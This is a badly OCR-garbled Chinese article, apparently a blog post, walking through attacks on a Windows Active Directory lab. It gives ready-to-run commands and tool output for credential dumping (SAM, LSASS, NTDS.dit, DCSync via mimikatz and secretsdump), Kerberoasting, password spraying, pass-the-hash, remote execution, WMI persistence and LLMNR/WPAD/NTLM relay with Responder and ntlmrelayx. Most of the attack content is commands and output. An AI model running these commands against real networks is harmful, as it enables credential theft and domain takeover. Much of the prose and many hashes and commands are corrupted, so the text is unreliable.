Domain name: JUMBOLAB
user name: jumbo
HOST name: DCSERVER
session Key: 8bb9b6ff6e8bbad08be3c229377ead2d
Length: 16
Maxlen: 16
offset: 480
# Flags: Oxe2888215
# version 6.3 (Build 9600); NTLM Current Revision 15
MIC: a582bd2a8fc346d838f18d0da9lae8sl
mechListMIC: 01000000d35d641423db136800000000
= NTLM Secure Service Provider
NTLMSSP identifier: 001
NTLM Message Type: Unknown (0x6813db23)

FiRchfresponsesial LA Anet-ntimhash, EittntimhashF{12TLAE¥hash{&i#/9, Mnet-ntimhash
AELA, {EEnet-ntimhashtb el LAZ MR Mrelay,

4.2, FiARREHE

fEwindows £, C:\Windows\System32\config B RIRFELRIAFIZEBhash, FHA 10T LAFEREXFEIRBIZ
hash,

{ERregip SIKEAMBAFE#Ehash:

reg save hklm\sam sam.hive

reg save hklm\system system.hive

reg save hklm\security security.hive

&aFBbootkeyfE# 3k hash,
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mp
$ secretsdump.py -sam /tmp/sam.hive -security /tmp/secruity.hive -system /tmp/system.hive  LOCAL
Impacket v@.9.21.dev1+20200313.160519.0056bblc - Copyright 202@ SecureAuth Corporation

[*] Target system bootKey: @x@4fd3d5c6a@587e77bolcbdbc@27ced2

[*] Dumping local SAM hashes (uid:rid:1lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe@d16ae931b73c59d7e@c@89¢0: : :
Guest:501:aad3b435b514@4eeaad3b435b51404ee:32ed87bdb5fdc5e9cba88547376818d4: : :

jumbo: 1000 : aad3b435b51404eeaad3b435b51404ee: fb237b9f09412c4167a535697ec6%ald: : :

Ht—LTHARE, tean
pwdump7:

S:\Users winVuser.JUMBOLAB.BBA\Desktopsp>Pudunp?.exe
Pudump v?.1 - raw password extractor

juthor: Andres Tarasco Acuna

arl: http://vuw.514 . es

jdministrator:580:NO PASSWORDsssemmmemwmxxmmmmnnxxx*: 31 D6CFEAD16AE?31B73C59D7EACAR
7CB:=::

Juest 15081 N0 PASSUORD=ssmsemxsmmsrxrxsezxw: 32 ED8?BDB5FDCSE?CBAS8547376818D4: ¢
jumbo :188@:NO PASSWORD :FB237B9FA9412C4167A535697EC69A1D: = :

mimikatz:

privilege::debug

token::elevate

Isadump::sam

mimikatz # lsadump: :sam
Domain : WIN/

SvsKey : B&fd3d5c6aBh8 el lbolcbdbed? fced?
Local SID : $-1-5-21-1598403651-34517779-217173182804

SAMKey : 851d96b328h844eB8e /bI18aalfeli 8ok
RID : 000001f4 (500)

User : Administrator
Hash NTLM: 31d6cfeBdl6ae931b73c59d7eBcB89cH

RID : oeeea1f5 (501)
User : Guest
Hash NTLM: 32ed87bdb5fdche9cha88547376818d4

RID : 000003e8 (1000)
User : jumbo

Hash NTLM: fb237b9f09412c4167a535697ect9ald

IR, Mlsass.exespsREXtEATLA, WNEEEFERAmMimikatziREL:
privilege::debug

sekurlsa::logonpasswords
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msv .
(00000003 ] Prlmary
= |sername jumbo
Domain WIN/
1e866636c1302d451aa818381ek4e281b
fh237b9t09%412c4167a035697ec69ald
alfedbf161f8143ch66087al’bel6a82467f062c¢

jumbo
HINY
Jumbol123

* |Jsername

= PDomain

= Password
wdigest

* |Jsername

= [omain

= Password
kerberos

= |llsername

jumbo

WINY
Jumbol123

11mbo

Procdump+Mimikatz:

procdump64.exe -accepteula -ma Isass.exe Isass.dmp

non

mimikatz.exe "sekurlsa:minidump Isass.dmp" "sekurlsa::logonPasswords full" exit

AT ABRIMAZIBEN S, £EEREKb28719978ARE. kb2871997# T MIFRER T wdigest sspLAShEL(h
sspRIBASIESE, BXdTFwdigest sspREEIEFEER. AP ATLIERR
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest\UseLogonCre
dential BRI H0REER,

BfEwinserver 2012 R2K LA EMRABEBIAERK. Ewinserver 2012R2 EEIK, Faniwmn ik
REMEDE, RMRABwdigestBBIMEIRANZHET

REMFRESNT,

VLY IV TN I W 11T PR VIS VSV AV R

31D : 5-1-5-21- ﬁ288?362?2 2299089681
nsy
[0000B003] Primary

= lsername :
= Domain
= NTLM

Administrator

: JUMBOLAB
: BcfdB2daa8s152ccf1c968530dale:

= SHA1 : 71954e91903F4744706e670d7df 3T
[@@@1@@@@] CredentialKeys

= NTLM
= SHA1

: BcfdB2daadsln2cctlc968030dale:
1 71954e91903F4744706e670d7df 3T,

[000100001 Credentlalkeys

= NTLM
= SHA1
tspkg :
wdigest :
= Username :
= Domain
= Password :
kerberos :

* lsername :
= Domain
= Password :
ssp

credman :

: fdbccfdlaa%0a2ab?3ff33c82c8all
: f941d24F43abbefb9f77d48a987F9

Administrator

: JUMBOLAB

AdminlLab123!@H

Administrator

: JUMBOLAB.COM

(null)

BiE—
Administrator(rid 3500, B{ERFKR

4.3, fFhash
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LEFFISRAT, TLAMNEEEFAIC\Windows\NTDS\NTDS.ditSH BB~ hash, EAntds.dit# 5,
WEEF RIS SHSEFERcopyintds.dit, ASFBIINTDSDumpEx.exef@ifthash:

\ntdsutil>NTDSDumpEx exe -d “Active Directory\ntds.dit” -o hash.txt -s registr
TEM

Int t hashes off-line dumper u0.2

Part of GMH's fuck Tools,Code by zegoenuh

T3
.M +]use hive file: registry\SYSTEM
[+]SYSKEY = GFD8CTHASF219B4E13DF2AS3805B924C
[+]PEK = A3BARB13T23FS2ETD1EFT68AECEB3BDES
[+]dump completed in ©.187 seconds
[+]total 11 entries dumped,11 normal accounts,® machines,8 histories

C:\ntdsutil>

E hash.txt - iBZE4

SH#ENntds. dithy, BTME. XEANFEE, STLAERDRSHUIREhashEHz:

mimikatz.exe privilege::debug "lsadump::dcsync /domain:jumbolab.com /all /csv" exit

Privilege '20° OK

mimikatz # lsadump::dcsync /domain:jumbolab.com fall fcsv
[DC] " jumbolab.com’ will be the domain

[DC]1 'DCServer.jumbolab.com’ will be the DC server

[DC] Exporting domain ' jumbolab.com’

B2 krbtgt 53ead581cf3058208630c885419fcff7

1115 spntest$ 4b94557290a1fhfd7bc34250b057216Bb
1116 testtests$ 3c99b8901b00758369Ff18b9dF 120128
1117 DCSERVER2% 9263cdd5dd63bd?7a18f38045c605b3
1118 CHILD$ dabfd33908d1fd62e9d28fd714829082

1124 spnsphspn$ 4T95F98akbef1a6801d8d315dclceled
1601 DCSERVER% 5078b4e93acc9954c0e90bc986281105
1114 WIN1B$ aadbd621f026faldi6hB4833F39a2096

1111 winlBuser 811095 7c5h2fA5df12b2501f4bTcdbn9
1113 WIN7$ 9186cclheffdBa3d7cOo?9771d9439910a

000 Administrator BcfdB2daa8s152ccflc968538dadelt?
1112 win/user b367819cBa8ccd?92cadldB34fH6alfa

B AT ABEMEIBNERS, BFHARER, T LEtAkb2871997/Y[E LIS, EE1 "Reversible

Encryption” .

Packages =
Kerberos-Newer-Kevs

* Primary:CLERRTERT =
al1236567

mimikatz H

e HTHHV-H=e=es

4.4, token®FFHY
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tokenE— MR HIETHLTRR S F TS, tokenBISHEIR T SHIZELTE X BXAY B P K SRR

N, HAPERN, RABTEAFERSREHIREHTILITRIIEAFZSERY, WRZBIER, RAKE
Fiiatoken, ZFFPRIHEE#E TiZtoken, AILAFIADuplicateTokenEx apixfiiGtokentEHI, SAFEH
CreateProcessWithToken apixdE#IaJtokentliE— N EAHE, MEWT:

B systemifRHZ

@ browser_br.. 1288 IET_ K{T

1616  IFfEE(T jumbo
L)\admlmstratorffyllﬁ'< ERV HiEtoken, EJszszHRsystemffRBE

ii‘lgmrw indows\system3zicmd ex

228, BERB A LAER LIRS E.
4.5, Kerberoasting

7EKRB_TGS_REPH, TGS&IREIZAClient—3KEHEST, MSTREMAClientiEKAIServerinZBEtTNERN. X
Kerberost}ig ERIEARCATTUNERS, HAwl A LUBIRIRIEClientinREXEIEEIEST, MRS ServerimhyE
=R

£ EIRSPNIE BN EEPERI— M AP testiEM T —1SPN, FIEKTGS:

powershell

$SPNName = 'test/test’
Add-Type -AssemblyNAme System.ldentityModel
New-Object System.ldentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $SPN

Name
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PS C:“\Users winZuser.JUMBOLAB.BBB\Desktop> $SPNMame = ’test/test’

PS C:NUsers winZuser.JUMBOLAB. BB Desktop> Add-Type —-AssemblyNMAme System.Identit
yModel

PS C:“Users winZuser.JUMBOLAB. BB Desktop?> New—Object System.ldentityModel.Token
s .KerberosRequestorSecurityToken —ArgumentList $SPNName

Id * wuid-e3f5e6971-028e-4b48-98b1-6bh32Ff3928c45-1

SecurityKeys : {System.ldentityModel.Tokens.InMenorySymmetricSecurityKe
yr

UalidFrom : 2028-6-9 15:24:16

UalidTo : 2028/6-,18 1:23:83

ServicePrincipalName : test/test

SecurityKey = System.ldentityModel.Tokens.InMemorySymmetricSecurityKey

PS C:“lUsers winZuser.JUMBOLAB.BBB Desktop?> klist

BAAmMimikatzZE 4 :

kerberos::list /export

|| 0-60a10000-win7user@krbtgt~JUMBOLAB.COM-JUMBOLAB.CO...
|| 1-40e10000-win7user@krbtgt~JUMBOLAB.COM-JUMBOLAB.CO...
|| 2-40a10000-win7user@test~test-JUMBOLAB.COM kirbi

| | 3-40a50000-win7user@ProtectedStorage~DCServer.jumbaolab.co...

|| 4-40a50000-win7user@cifs~dcserverjumbolab.com-JUMBOLAE....
|| 5-40a50000-winT7user@|dap~dcserver.jumbolab.com-JUMBOLA...
|| 6-40a50000-win7user@LDAP~DCServer.jumbolab.com~jumbola...

SRR FBtgsrepcrack R AR -

python tgsrepcrack.py wordlist.txt 2-40a10000-win7user@test\~test-JUMBOLAB.COM .kirbi

R IIRBUZ AP E

FOMLOT LS WY LIS JAE IA SRS T3 FTI N e WM e

$ python tgsrepcrack.py wordlist.txt 2-4@a1@@00-win7user@test\~test-JUMBOLAB.COM.kirbi
found password for ticket ©: aAl23456 File: 2-40al0000-win7user@test~test-JUMBOLAB.COM.kirbi
All tickets cracked!

4.6, HHIMEY

5O<%, Kin¥ Az, EAMND, BEllEHXsmb, 3389, mssqlssA<SHITRIBRE DR, BEERETELLIE,
DHAEKRZ., HA, BILMERAEKS, ENERHTEH. XBERkerbruteXtiZg R /ZBiHITE DK
i

B

kerbrute userenum -d jumbolab.com usernames.txt
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C:\Userswin7user.JUMBOLAB.ABA\DesktopXkerbrute_windows_amdb64.exe userenum —d ju
mbholab.com username.txt

S 7

SN S S N
LA PSS S S

Uersion: vli.B.3 (9dadbel?> — B6-/82-28 — Ronnie Flathers (@ropnop

2020-06-89 21:49:23
20200689 21:49:23
28288602 21:49:23
2820-/06-89 21:49:23
20200689 21:49:23
2020-/06-89 21:49:23
20200689 21:49:23
20200689 21:49:23
20280/06/89 21:4%9:23

Using KDC{s>:

decserver. jumholab.com:88

[+1 VALID USERNAME: administrator@jumbolab.con
[+] VUALID USERNAME: test@jumbolab.com

[+]1 VALID USERNAME: win?78jumbolab.com

[+] UALID USERNAME: winlB@jumbolab.con

[+]1 UALID USERNAME: winlBuserfjumbolab.com

[+]1 UALID USERNAME: winuser@jumbolab._com
Donet Tested ? usernames <6 valid?> in B.616 seconds

WONWOW W ON N W VW

C:NserswinZuser .JUMBOLAB.G00\Desktop>

RN

kerbrute passwordspray -d jumbolab.com username.txt aA1234567

C:\Users winZuser.JUMBOLAB. BB\ Desktop>kerbrute_windows_amd64.exe passwordspray
—d jumbolab.com username.txt afl1234567

s A 7
A AV /’ N ;LSS 7/ N

VA S P P S S A P S A S S S a4 /’

AN T s’ S NN /

Uersion: v1.8.3 (9dadbel’ - B86-/809/28 — Ronnie Flathers Cropnop

28268689 21:58:58
28280689 21:58:58
2028-86-09 21:560:58
2026-86-09 21:58:58

Using KDC(s>:

dcserver.jumbolab.com:88

[+]1 UALID LOGIN: winPuserPjumbolab.com:af123456%7
Done?! Tested ? logins <1 successes? in B.884 seconds

>
>
>
>

4.7, LAPS

LocalAdministrator Password Solution2Z iR A%E, ATHIE—aYSBWIMAIZRLE, ARNRNESEEZ
B RSEEERSIE, BEEUEEHENMNZ2RE, SRNETEEREN, aTUEEITENAEE; YNREEA
LAY, BESNEMBARENREERMAITEN AR :

powershell

Get-ADComputer computername -Properties ms-Mcs-AdmPwd | select name, ms-Mcs-AdmPwd

WNRLILAPS, FELRAIAFIREREEE!:

C:\Users\Administrator>wmic product get name,version

Name version
Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.20. 14.20.27508
VMware Too1s 11.0.5.15389592
MICI USUT L Visudl Ut ZULZ AOH M muin KuiiCime = L&. . 14.20.27508
Local Administrator Password Solution 6.2.0.0

MismacaFe Vicnal ~ir 3010 V0L Additianal Duntdma 14.20.27508

M1crosoft V1sua1 C++ 2019 X64 Add1t1ona1 hunt1me - .20.27508 14.20.27508

https://mp.weixin.qq.com/s/OGiDm3IHBP3_gOAOIHGCKA




2020/6/29 LN B2 Windows A 7233

SENABEIENMRKSERS. KB EhashT, FEEBINZEAR, WEH, XMEFENABNRAET. 34,
SERMNETESHNSRN, ST, ERKRELATD.

5.1. WKSEaE

SRA RN RN S ZRAEHE, TUASHABLA TS A TIEREAFRITH .

net use \\1.1.1.N\ipc$ “password” /user:username

# FAIRS BaIRIA:
psexec \\target -accepteula -u username -p password cmd.exe

psexec.py jumbolab.com/administrator@172.16.127.184

# J3ik—
wmic /user:"jumbolab.com\win7user" /password:"password" /node:172.16.127.184 process call cr

eate "notepad"

s 7.~
Invoke-WmiMethod -class win32 process -name create -argumentlist 'notepad’ -ComputerName

172.16.127.184 -Credential 'jJumbolab.com\win7user'

# A=

$filterName = 'BotFilter82'

$consumerName = 'BotConsumer23'

$exePath = 'C:\Windows\System32\notepad.exe'

$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE Targetinstance ISA 'W
in32 PerfFormattedData PerfOS System'"

$WMIEventFilter = Set-Wmilnstance -Class __EventFilter -NameSpace "root\subscription” -Argum

ents @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Quer

y} -ErrorAction Stop -ComputerName 172.16.127.184 -Credential ‘jumbolab.com\win7user’
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$WMIEventConsumer = Set-Wmilnstance -Class CommandLineEventConsumer -Namespace "root
\subscription" -Arguments @{Name=$consumerName;ExecutablePath=$exePath;CommandLineTe
mplate=$exePath} -ComputerName 172.16.127.184 -Credential ‘jumbolab.com\win7user’

Set-Wmilnstance -Class _ FilterToConsumerBinding -Namespace "root\subscription” -Arguments

@{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}

schtasks /create /s 1.1.1.1 /u domain\Administrator /p password /ru "SYSTEM" /tn "windowsupda
te" /sc DAILY /tr "calc" /F

schtasks /run /s 1.1.1.1 /u domain\Administrator /p password /tn windowsupdate

at \\1.1.1.1 15:15 calc

sc \\1.1.1.1 create windowsupdate binpath= "calc"

sc \\1.1.1.1 start windowsupdate

reg add \\1.1.1.1\HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v myentry /t REG SZ /

d "calc"

# 35—
$com = [activator]::Createlnstance([type]::GetTypeFromProgID("MMC20.Application”,"1.1.1.1"))

$com.Document.ActiveView.ExecuteShellCommand(‘cmd.exe',$null,"/c calc.exe","Minimized")

# k=

$com = [Typel::GetTypeFromCLSID('9BA05972-F6A8-11CF-A442-00A0C90A8F39',"1.1.1.1")
$obj = [System.Activator]::Createlnstance($com)

$item = $obj.item()

$item.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

# BiE=
$com = [Typel::GetTypeFromCLSID('CO8AFD90-F2A1-11D1-8455-00A0C91F3880',"1.1.1.1")
$obj = [System.Activator]::Createlnstance($com)

$obj.Document.Application.ShellExecute("cmd.exe","/c calc.exe","c:\windows\system32",$null,0)

winrs -r:http://1.1.1.1:5985 -u:Administrator -p:password "whoami"

https://mp.weixin.qg.com/s/OGiDm3IHBP3_gOAOIHGCKA
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winrs -r:http://dcserverjumbolab.com:5985 -u:;jumbolab\administrator -p:password "whoami "

C:“Users™winZuser.JUMBOLAB. 8883\ Desktop?>winrs —r:http:/~sdcserver.jumbolab.com:578
5 —u:jumbolabsadministrator —p:AdminLabl23*@# “"whoami''
Jjumbolab™administrator

5.2, PTH

SFANRBPXKSEL, RBhashiy, FTLA=Hhash{&is,

IS hiichil
python wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:518b98ad4178a53695dc997aa

02d455c domain/administrator@1.1.1.1 "whoami"

psexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:518B98AD4178A53695DC997AA02D45

5C domiain/administrator@1.1.1.1 "whoami"

smbexec.exe -hashes aad3b435b51404eeaad3b435b51404ee:CCEF208C6485269C20DB2CAD21734

FE7 domiain/administrator@1.1.1.1 "whoami"

TR B ek :
Invoke-WMIExec -Target 1.1.1.1 -Domain test.local -Username username -Hash 7ECFFFFOC354818
7607A14BADOF88BB1 -Command "calc.exe" -verbose

Invoke-SMBExec -Target 1.1.1.1 -Domain test.local -Username username -Hash 7ECFFFF0C354818
7607A14BADOF88BB1 -Command "calc.exe" -verbose

PS C:\lserswin7user.JUMBOLAB.BBA“DesktopsInvoke-TheHash> Invoke-WMIExec -Target
winl®@ -Domain Jjumbolabh.com —Username administrator —Hash BcfdBZ2daaB5152ccfilc?6
553Bda38167 —Command ‘“'calc.exe" —verbose
ZM{=E.: Connecting to wini@:135
F ‘ .= [+1 jumbolab.com“Nadministrator accessed WMI on winlB
ﬁﬁ;ﬁf; .2 [%] Connecting to winlB:49666
|1$1515%: [*] Attempting command execution
[+] Command executed with process ID 3388 on winl@

ERIMN B!
privilege::debug

sekurlsa::pth /user:test1l /domain:test.local /ntlm:7ECFFFFOC3548187607A14BADOF88BB1

HHcemd:
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Privilege "20° 0K

mimikatz # sekurlsa::pth
a85152ccf1c968530daldelb?
user : administrator
domain : jumbolab.com
program : cmd.exe

o

tn i
Bcfdb2daaBs152ccf1c968530Y

Hl Pindow:
uer

0

00000 : 0e5S

@ oopooand|
@ DODRDDAN

ow R
(o0

copy
py

ZHKB2871997#T f5, ATLAFERAES-256%Hi#1Thash{&ié:
IMEYAES-256%48 :

mimikatz:
privilege::debug
sekurlsa::ekeys

privilege::debug

sekurlsa::pth /user:test1l /domain:test.local /aes256:aes256key

5.3. NTLM-Relay

LFIAER "Eat" HREITA, BHMEENERERIIA, BERMNETLURE "Ha" W, SBIALEFA
B, ESREIRRITRAILENS, FAIEMtAaRiE?

SLIRTAIR
win7172.16.127.184 E1@iaFH -
win10172.16.127.170 &
dcserver172.16.127.173 i3#z=
kali172.16.127.129 EH,

FMAIAR:

Responder, impacket

FTR—ERERNA, BERAESESRENT (LLMNR) B—PETIMNAEEZ RS (DNS) HUEGRIEI, &5
W7 RIIPVAFDIPVORY EH KR TEFREET AR — A5 ERFEN. ©2EB3FEWindows Vistadr, Windows
Server 200871, Windows 771, Windows 8##1fJWindows 10, Bth#isLhEsystemd7ELinux_t-resolved,
LLMNRENXZERFC 4795,

7EDNS IR~ RES, DNS ZFinit BRI LAERAA K SEA MR ENT (LLMNR—Link-Local Multicast
Name Resolution) (tB#R79%53%& DNS 8¢ mDNS) KEHFTAMEMER ERIRFR, Hla0, NREHF[HIHE, MK
8 FRYFFAE DNS IRSZEVIMT T FM, M2 LLMNR A7 W _ERIZE Fina] AR ESAEXS S 2O ERT 2R, E2K
JiEFAIR AL,

https://mp.weixin.qg.com/s/OGiDm3IHBP3_gOAOIHGCKA




2020/6/29 21 Bz Windows 4 W 125%

bR T EMLE B IBRERIE R FIREBFRETLAIL, LLMNR E2ZIGRI RS/ (Flan, TIBENXE) AEtedE
wEA.

EERRIEXEAR: RIEEAMPIUNIHRESSEFENYIZE, Wjumbo0l, HE—XIFARINOEIEL T A EAILES
jumbo02, ZEPigmaEIRMPIERjumbo02Ii], Hi8HEEjumbo028I AN,

EFiEv1.0
BAERNNRLE—aARFENTEEumbo02, BUTXANMER

PEE=

Windows FiEiAE \\jumbo02

BREERNNS. BN METREERE. EEHNEIIRARECE | FRE 2.

SEREES Bk

RN RBAEE PR AIERjumbo 02 RN ZBAYE, HMEXNMER
EMAAT

responder -1 eth0

ZRimiaEjumbo0 212 R EEMAER

Windows ==

BNPIEER
BRI ELIEESumbo02

[EIEE

R

#: JUMBOLAB
[ iSERaEsE

D EmnE,
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BMANELE, WEWEInet-ntim:

[*] [LLMNR] Poisoned answer sent to 172.16.127.170 for name WINabcaa
[*] [LLMNR] Poisoned answer sent to 172.16.127.170 for name WINabcaa
[#*] [LLMNR] Poisoned answer sent to 172.16.127.170 for name jumbo02
[*] Skipping previously captured hash for JUMBOLAB\winl@user
[*] [LLMNR] Poisoned answer sent to 172.16.127.170 for name jumbo02
[*] Skipping previously captured hash for JUMBOLAB\winlOuser
[*] [LLMNR] Poisoned answer sent to 172.16.127.170 for name jumbo02
[*] Skipping previously captured hash for JUMBOLAB\winlOuser
[LLMNR] Poisoned answer sent to 172.16.127.170 for name jumbo®2

NTLMv2-SSP Client

NTLMvZ2-SSP Username :

NTLMv2-SSP Hash

KEInet-ntim LAEFRAIF AT LASIHF Fhashcatif T i S I .

SERE—BRBERNE, MEZREEEMIDNIY (Web Proxy Auto-Discovery Protocol, WPAD) E—FEFin(E
FADHCP#1/8DNSEIM T ERKEMN— M EXMURLAY A, EUFI TEEENXHE, B LARITEE LA
EREURLM ERNRE,

MERRENEAR: MEFNENEE. BALN, MRFENKSHKET LNEMGURE (RMARE) , &F
i ERIEYES IR, BielE, ERwpadiRSHEM, REwpadiRSS=El, AEEEpacHLMET,

BERIIABSBIGREENMEE www.chinabaiker.com ,BI 2R/ NOFTHE T —NFBHE ST 7T —1NFH,
NS EHEZENEIERI5|ZE EX, SERTLIEAE, il www.chinabaikee.com
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e m http://cn.bing.com/search?q=www.chinat © ~ & m www.chinabaikerr.com - ...

ERiR ki
b www.chinabaikerr.qom

B4R ~

www.chinabaiker.com # hERZEER

www.chinabaikerr.com www_chinabaiker..com v inabaiker.ccom www.chinabaiker.coom
www _chinabaiker com ww wchinabaiker com wwwc hinabaiker.com __.
acnow.net'www chinabaiker.com ~

- - v — ~ ™ == 39 303
chinabaiker.com -n 0 - BUC- |y |n D o & wi%

chinabaiker.com: W O*0 § wtax 035 315 . Read our chinabaiker.com Review - Stat Analysis
Report - including SEO Report, whois lookup and website valuation or worth

hitps:/iwww zonewhois_orghwww/chinabaiker.com html ~

www.chinabaikerr.com HigxiE=

xfinity email xfinity browser

ABANRFAIPIEWpadiR S #RAIE, BARBEIRT

responder -l ethO -wFb

[+#] Servers:
HTTP server

HTTDE oorsier

WPAD proxy

My A S
T e

XEB(ER-bSHERHEA401IAILE
BERIRDEA— A FENEE RSB HERE
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e & http://213asjdasdasdasdaacccceceddd... 2 ~ X || O [FEERF 213asjdasdasda..,

Windows &2
iexplore
BREEE 213asjdasdasdasdaaccccccedddddd EE R BRENE

B, BE ==%2 Authentication Required.

= BEAESNER HERET SRR AERIAF S8,

humbo

e

L] oiEmemsEE

WMAKSERBLE, HMNKEIBXIKSERS

aster Browser)
GET request from: 172.16.127.170 URL:
Host : 213asjdasdasdasdaaccc
Basic Client
Basic Username
HTTP] Basic Password

FT+1 Ti1i1imMMD1 Dnicnnard ancuar cant +a 172 18 177 170 Ffar nama racnnravuc

MresponderfIE B IREEEF, Lhr EEFIBwpadiiimiRE T —1MM01TIAE, SEEURRKIIKE T ERKS

GHQJMTpll

Accept: image/gif, 1mage ]peg image/pjpeg, application/x-ms-application, application/
xaml+xm1, app11catwon x-ms-xbap, */*

Accept-Language: zh-CN

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; windows NT 10.0; wOWe64;

Trident/8.0; .NET4.0C; .NET4.0E)

Accept-Encoding: gzip, deflate

Host: 213asjdc

Cconnection: Keep-Alive

HTTP/1.1 401 unauthorized

server: Microsoft-I1s/7.

Date: Mon, 15 Apr 2019 02:56:57 GMT

content-Type: text/html

wWww-Authenticate: Basic realm="Authentication Required”
Access-control-allow-origin: *
Access-Control-Allow-Credentials: true

content-Length: 0

https://mp.weixin.qq.com/s/OGiDm3IHBP3_gOAOIHGCKA
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sStream Lontent

GET / HTTP/1.1
Accept: image/gif, i /3 i ‘pjpeg, application/x-ms-application, application/
xaml+xm1, app11cat1 5
Accept-L : zh
user- g i /4.0 (compatible; MSIE 7.0; windows NT 10.0; wow64;
.NET4. UE)

Host: 213asjdc

Connection: Keep-Alive
Authorization: Basic MTEGMJEzMw==
HTTP/1.1 200 OK

Server: Microsoft-IIS//7.5

Date: Mon, 15 Apr 2019 02:56:57 GMT
content- Type text/html
www-Authenticate: NTLM
Content-Length: 84

<img src="file://RespProxysrv/pictures/logo.fjpg" alt="Loading® height="1" width="1">

BEATKA G LEE Fin FEFk(Iipac, BlEEEpacEHILEFiRIREERKNIXA, XEFHFHAmsficEburpiE
AMUERTEE Fimin e,
WENHRIT

use auxiliary/spoof/nbns/nbns response
set regex WPAD

set spoofip attackip

run

use auxiliary/server/wpad

set proxy 172.16.127.155

run

FIFburp, LAFREIFHARERRE—MMBHAIHLEEAIfirefox Il

China
Baiker

At a= BB EEAREYE, LR EREAMS16-077#T (A

In 2016 however, Microsoft published a security bulletin MS16-077, which mitigated this attack b
y adding two important protections:

— The location of the WPAD file is no longer requested via broadcast protocols, but only via DNS.

— Authentication does not occur automatically anymore even if this is requested by the server.

FAmMitm6iLt=EFPimg B ipv6 dnsiRS=:
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A thpsEs IPve HEht:

IPvE DNS BRSS=&:

IPv4 tifik:

IPvd DNS BESS =8

= DNS E&: localdomain
DNS BE&EEFSIFE: jumbolab.com
HiErRT: Intel Corporation
i+ Intel(R) 7

4L Gigabit Network Connection

wpadpgIhfEchrome B/ IR

Baiker

o LA ERIDA R IR AL,

FERTEZ, BEENRSEENR, ARMNIZFEsmb relay, BEXNEREEMREMS08-068% T HiFES
T. BEXNMNABHERIMINERREsmbEZE B R FHITNTLM-Relay#k. FHiiliTresponder, HiXiAE
smb, A TEMntimrelayxfEF,

; Servers to start
SQL = 0On

sMB = offj
Kerberos = 0n

FTP = On

Lo

responder -l ethO
ntimrelayx.py -t 172.16.127.173 -1 ./

EHENRNRAFERNERE, SPREEE=s, BImII3kEshell
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Authenticating against smb://172.16.127.173 as JUMBOLAB\winlOuser SUCCEED
Started interactive SMB client shell via TCP on 127.0.0.1:11002
SMBD-Thread-9: Received connection from 172.16.127.170, attacking target smk
172.16.127.173

Authenticating against smb://172.16.127.173 as JUMBOLAB\winlOuser SUCCEED
Started interactive SMB client shell via TCP on 127.0.0.1:11003
SMBD-Thread-11: Received connection from 172.16.127.170, attacking target sn
S1F2.16.127.173

Authenticating against smb://172.16.127.173 as JUMBOLAB\winlOuser SUCCEED
Started interactive SMB client shell via TCP on 127.0.0.1:11004

ree weav atrx] Authenticating against smb://172.16.127.173 as JUMBOLAB\winl@user SUCCEED
)rce Baslc /rx] Target system bootKey: 0xf9259efl3bcacca’b7ade9cbod92lenl
)rce LM dowi[u] Target system bootKey: 8xf9259efl36cacca7b7ade9cbads21enl
ngerprint Iy pumping local SAM hashes (uid:rid:lmhash:nthash)
) . [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
:ngige?p;;'Administrator:500:140c9d6ce?addgbdaf99609916834e1b:Bcfd02da385152ccf1c96853@da36
§167: 2

ssponder IP pqministrator:500:140c9d6ce7add9bdafae609916834elb:0cfde2daass152ccflc968530da3e

1allenge selyg7. .-

't ReSPON(G est 501 aad3b4a35b51404eeaad3ba35b51404ee:31d6cfedd16ae931b73c59d7e0cO89cO: : -
[*] Done dumping SAM hashes for host: 172.16.127.173
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cTePd16ae931b73c59d7e0cO89cCO: : :

| [*] Done dumping SAM hashes for host: 172.16.127.173

-stening foi[+] sMBp-Thread-7: Received connection from 172.16.127.170, attacking target smb

LMNRT“Po1s, 775 16,127,173

LMNR]  Poi‘[x] aythenticating against smb://172.16.127.173 as JUMBOLAB\winl®user SUCCEED

‘LMNR] Fols oy Target system bootKey: @xf9259efl36cacca7b7ade9cb®d921e01

-LMNR] P°+ [*] Dumping local SAM hashes (uid:rid:lmhash:nthash)

LMNR]  Polipqninistrator:500:140c9d6ce7addobdafoe609916834elb: 0cfdo2daasd5152ccflc968530dase

LMNR] = Poitjgy...

IBT-NS] Poi‘g,ect:501:aad3ba35b51404eeaad3ba35b51404ee:31d6cfe0d16ae931b73c59d7e0c08ICH: : -

ierver) [*] Done dumping SAM hashes for host: 172.16.127.173

5.4, 1H{EE

SEETRER, FAHRNEEE. FJLAFIAsid history RN, MEREUNT:

FMAWT, EAmimikatzEZREX-Fi%AIKrbtgt Hash:
Isadump::lsa /patch
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spatch

CRILD 7 E—1—5—21—1?56649982—4@536ﬁ

Quest

BEHpowerviewlkEN A1 AYsid

P14
Administrator

b367819ca8ccd/92cadldid34f S6alf a
QRRA1fS (S501)

(500)

POPR1f6 (SB2)
krbt gt

2alc26831592774al17f 70370b8606449

Get-DomainComputer -Domain jumbolab.com

S C:\> Get-DomainComputer

wdlastset
logoncount
nsds-generationid
;erverreferen(eb*

radpasswordtime
1istinguishedname
sbjectclass
lastlogontimestamp
1ame

sbjectsid
samaccountname
localpolicyflags
-odepage
samaccounttype
vhenchanged
iccountexpires
countrycode
yperatingsystem
instancetype
nsdfsr-computerreferencebl

sbjectguid
peratingsystemversion
lastlogoff
>bjectcategory
1scorepropagationdata
serviceprincipalname

-Domain jumbolab.com

: 2020/3/12 18:47:47

fJ
{210, 127, 65, 92...}

: CN=DCSERVER ,CN=Servers ,CN=Default-First-5ite-Name,CN:

,DC=com

: 1601/1/1 8:00:00 .
: CN=DCSERVER,0QU=Domain Controllers,DC=jumbolab,DC=com

{top, person, organizationalPerson, user...}
2020/3/26 11-40-01

: DCSERVER

: §5-1-5-21-4288736272-2299089681-4131927610-1001
: 6¥JL“ULHJ

